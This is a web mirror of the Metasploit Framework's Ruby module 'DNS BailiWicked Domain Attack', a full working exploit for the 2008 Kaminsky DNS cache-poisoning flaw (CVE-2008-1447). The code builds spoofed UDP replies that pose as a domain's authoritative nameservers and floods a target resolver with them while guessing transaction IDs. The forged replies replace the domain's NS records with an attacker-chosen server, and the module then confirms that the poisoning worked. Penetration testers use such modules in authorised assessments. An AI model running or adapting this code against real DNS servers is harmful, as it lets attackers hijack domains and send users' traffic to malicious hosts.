CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/dns'
7
require 'resolv'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Exploit::Capture
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'DNS BailiWicked Domain Attack',
15
'Description' => %q{
16
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
17
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
18
domains nameserver entries in a vulnerable DNS cache server. This attack works
19
by sending random hostname queries to the target DNS server coupled with spoofed
20
replies to those queries from the authoritative nameservers for that domain.
21
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
22
the nameserver entries for the target domain will be replaced by the server
23
specified in the NEWDNS option of this exploit.
24
},
25
'Author' =>
26
[
27
'I)ruid', 'hdm',
28
# Cedric figured out the NS injection method
29
# and was cool enough to email us and share!
30
'Cedric Blancher <sid[at]rstack.org>'
31
],
32
'License' => MSF_LICENSE,
33
'References' =>
34
[
35
[ 'CVE', '2008-1447' ],
36
[ 'OSVDB', '46776'],
37
[ 'US-CERT-VU', '800113' ],
38
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
39
],
40
'DisclosureDate' => '2008-07-21'
41
))
42
43
register_options(
44
[
45
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
46
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
47
OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
48
OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
49
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
50
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
51
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
52
])
53
54
deregister_options('FILTER','PCAPFILE')
55
end
56
57
def auxiliary_commands
58
return {
59
"racer" => "Determine the size of the window for the target server"
60
}
61
end
62
63
def cmd_racer(*args)
64
targ = args[0] || rhost()
65
dom = args[1] || "example.com"
66
67
if !(targ and targ.length > 0)
68
print_status("usage: racer [dns-server] [domain]")
69
return
70
end
71
72
calculate_race(targ, dom)
73
end
74
75
def check
76
targ = rhost
77
78
srv_sock = Rex::Socket.create_udp(
79
'PeerHost' => targ,
80
'PeerPort' => 53
81
)
82
83
random = false
84
ports = {}
85
lport = nil
86
reps = 0
87
88
1.upto(30) do |i|
89
90
req = Resolv::DNS::Message.new
91
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
92
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
93
req.rd = 1
94
95
srv_sock.put(req.encode)
96
res, addr = srv_sock.recvfrom(65535, 1.0)
97
98
99
if res and res.length > 0
100
reps += 1
101
res = Resolv::DNS::Message.decode(res)
102
res.each_answer do |name, ttl, data|
103
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
104
t_addr, t_port = $1.split(':')
105
106
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
107
t_port = t_port.to_i
108
if(lport and lport != t_port)
109
random = true
110
end
111
lport = t_port
112
ports[t_port] ||=0
113
ports[t_port] +=1
114
end
115
end
116
end
117
118
119
if(i>5 and ports.keys.length == 0)
120
break
121
end
122
end
123
124
srv_sock.close
125
126
if(ports.keys.length == 0)
127
vprint_error("ERROR: This server is not replying to recursive requests")
128
return Exploit::CheckCode::Unknown
129
end
130
131
if(reps < 30)
132
vprint_warning("WARNING: This server did not reply to all of our requests")
133
end
134
135
if(random)
136
ports_u = ports.keys.length
137
ports_r = ((ports.keys.length/30.0)*100).to_i
138
vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
139
if(ports_r != 100)
140
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
141
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
142
return Exploit::CheckCode::Appears
143
end
144
else
145
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
146
return Exploit::CheckCode::Vulnerable
147
end
148
149
Exploit::CheckCode::Safe
150
end
151
152
def run
153
check_pcaprub_loaded # Check first
154
target = rhost()
155
source = Rex::Socket.source_address(target)
156
saddr = datastore['SRCADDR']
157
sport = datastore['SRCPORT']
158
domain = datastore['DOMAIN'] + '.'
159
newdns = datastore['NEWDNS']
160
recons = datastore['RECONS']
161
xids = datastore['XIDS'].to_i
162
newttl = datastore['TTL'].to_i
163
xidbase = rand(20001) + 20000
164
numxids = xids
165
address = Rex::Text.rand_text(4).unpack("C4").join(".")
166
167
srv_sock = Rex::Socket.create_udp(
168
'PeerHost' => target,
169
'PeerPort' => 53
170
)
171
172
# Get the source port via the metasploit service if it's not set
173
if sport.to_i == 0
174
req = Resolv::DNS::Message.new
175
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
176
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
177
req.rd = 1
178
179
srv_sock.put(req.encode)
180
res, addr = srv_sock.recvfrom()
181
182
if res and res.length > 0
183
res = Resolv::DNS::Message.decode(res)
184
res.each_answer do |name, ttl, data|
185
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
186
t_addr, t_port = $1.split(':')
187
sport = t_port.to_i
188
189
print_status("Switching to target port #{sport} based on Metasploit service")
190
if target != t_addr
191
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
192
end
193
end
194
end
195
end
196
end
197
198
# Verify its not already poisoned
199
begin
200
query = Resolv::DNS::Message.new
201
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
202
query.rd = 0
203
204
begin
205
cached = false
206
srv_sock.put(query.encode)
207
answer, addr = srv_sock.recvfrom()
208
209
if answer and answer.length > 0
210
answer = Resolv::DNS::Message.decode(answer)
211
answer.each_answer do |name, ttl, data|
212
213
if((name.to_s + ".") == domain and data.name.to_s == newdns)
214
t = Time.now + ttl
215
print_error("Failure: This domain is already using #{newdns} as a nameserver")
216
print_error(" Cache entry expires on #{t}")
217
srv_sock.close
218
close_pcap
219
return
220
end
221
end
222
223
end
224
end until not cached
225
rescue ::Interrupt
226
raise $!
227
rescue ::Exception => e
228
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
229
end
230
231
232
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
233
234
print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"
235
236
# Look up the nameservers for the domain
237
print_status "Querying recon nameserver for #{domain}'s nameservers..."
238
answer0 = res0.send(domain, Net::DNS::NS)
239
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
240
241
barbs = [] # storage for nameservers
242
answer0.answer.each do |rr0|
243
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
244
if rr0.type == 'NS'
245
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
246
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
247
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
248
answer1.answer.each do |rr1|
249
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
250
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
251
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
252
answer2 = res2.send(domain, Net::DNS::SOA)
253
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
254
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
255
barbs << nsrec
256
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
257
end
258
end
259
end
260
end
261
262
if barbs.length == 0
263
print_status( "No DNS servers found.")
264
srv_sock.close
265
close_pcap
266
return
267
end
268
269
if(xids == 0)
270
print_status("Calculating the number of spoofed replies to send per query...")
271
qcnt = calculate_race(target, domain, 100)
272
numxids = ((qcnt * 1.5) / barbs.length).to_i
273
if(numxids == 0)
274
print_status("The server did not reply, giving up.")
275
srv_sock.close
276
close_pcap
277
return
278
end
279
print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
280
end
281
282
# Flood the target with queries and spoofed responses, one will eventually hit
283
queries = 0
284
responses = 0
285
286
open_pcap unless self.capture
287
288
print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")
289
290
while true
291
randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
292
293
# Send spoofed query
294
req = Resolv::DNS::Message.new
295
req.id = rand(2**16)
296
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
297
298
req.rd = 1
299
300
src_ip = source
301
302
if(saddr == 'Random')
303
src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
304
end
305
306
p = PacketFu::UDPPacket.new
307
p.ip_saddr = src_ip
308
p.ip_daddr = target
309
p.ip_ttl = 255
310
p.udp_sport = (rand((2**16)-1024)+1024).to_i
311
p.udp_dport = 53
312
p.payload = req.encode
313
p.recalc
314
315
capture_sendto(p, target)
316
queries += 1
317
318
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
319
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
320
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
321
req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
322
req.qr = 1
323
req.aa = 1
324
325
# Reuse our PacketFu object
326
p.udp_sport = 53
327
p.udp_dport = sport.to_i
328
329
xidbase.upto(xidbase+numxids-1) do |id|
330
req.id = id
331
p.payload = req.encode
332
barbs.each do |barb|
333
p.ip_saddr = barb[:addr].to_s
334
p.recalc
335
capture_sendto(p, target)
336
responses += 1
337
end
338
end
339
340
# status update
341
if queries % 1000 == 0
342
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
343
if(xids == 0)
344
print_status("Recalculating the number of spoofed replies to send per query...")
345
qcnt = calculate_race(target, domain, 25)
346
numxids = ((qcnt * 1.5) / barbs.length).to_i
347
if(numxids == 0)
348
print_status("The server has stopped replying, giving up.")
349
srv_sock.close
350
close_pcap
351
return
352
end
353
print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
354
end
355
end
356
357
# every so often, check and see if the target is poisoned...
358
if queries % 250 == 0
359
begin
360
query = Resolv::DNS::Message.new
361
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
362
query.rd = 0
363
364
srv_sock.put(query.encode)
365
answer, addr = srv_sock.recvfrom()
366
367
if answer and answer.length > 0
368
answer = Resolv::DNS::Message.decode(answer)
369
answer.each_answer do |name, ttl, data|
370
if((name.to_s + ".") == domain and data.name.to_s == newdns)
371
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")
372
srv_sock.close
373
close_pcap
374
return
375
end
376
end
377
end
378
rescue ::Interrupt
379
raise $!
380
rescue ::Exception => e
381
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
382
end
383
end
384
385
end
386
387
end
388
389
#
390
# Send a recursive query to the target server, then flood
391
# the server with non-recursive queries for the same entry.
392
# Calculate how many non-recursive queries we receive back
393
# until the real server responds. This should give us a
394
# ballpark figure for ns->ns latency. We can repeat this
395
# a few times to account for each nameserver the cache server
396
# may query for the target domain.
397
#
398
def calculate_race(server, domain, num=50)
399
400
q_beg_t = nil
401
q_end_t = nil
402
cnt = 0
403
404
times = []
405
406
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
407
408
sock = Rex::Socket.create_udp(
409
'PeerHost' => server,
410
'PeerPort' => 53
411
)
412
413
414
req = Resolv::DNS::Message.new
415
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
416
req.rd = 1
417
req.id = 1
418
419
q_beg_t = Time.now.to_f
420
sock.put(req.encode)
421
req.rd = 0
422
423
while(times.length < num)
424
res, addr = sock.recvfrom(65535, 0.01)
425
426
if res and res.length > 0
427
res = Resolv::DNS::Message.decode(res)
428
429
if(res.id == 1)
430
times << [Time.now.to_f - q_beg_t, cnt]
431
cnt = 0
432
433
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
434
435
sock.close
436
sock = Rex::Socket.create_udp(
437
'PeerHost' => server,
438
'PeerPort' => 53
439
)
440
441
q_beg_t = Time.now.to_f
442
req = Resolv::DNS::Message.new
443
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
444
req.rd = 1
445
req.id = 1
446
447
sock.put(req.encode)
448
req.rd = 0
449
end
450
451
cnt += 1
452
end
453
454
req.id += 1
455
456
sock.put(req.encode)
457
end
458
459
min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
460
max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
461
sum = 0
462
times.each{|i| sum += i[0]}
463
avg_time = ( (sum / times.length) * 100).to_i / 100.0
464
465
min_count = times.map{|i| i[1]}.min
466
max_count = times.map{|i| i[1]}.max
467
sum = 0
468
times.each{|i| sum += i[1]}
469
avg_count = sum / times.length
470
471
sock.close
472
473
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
474
475
476
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
477
avg_count
478
end
479
end
480
481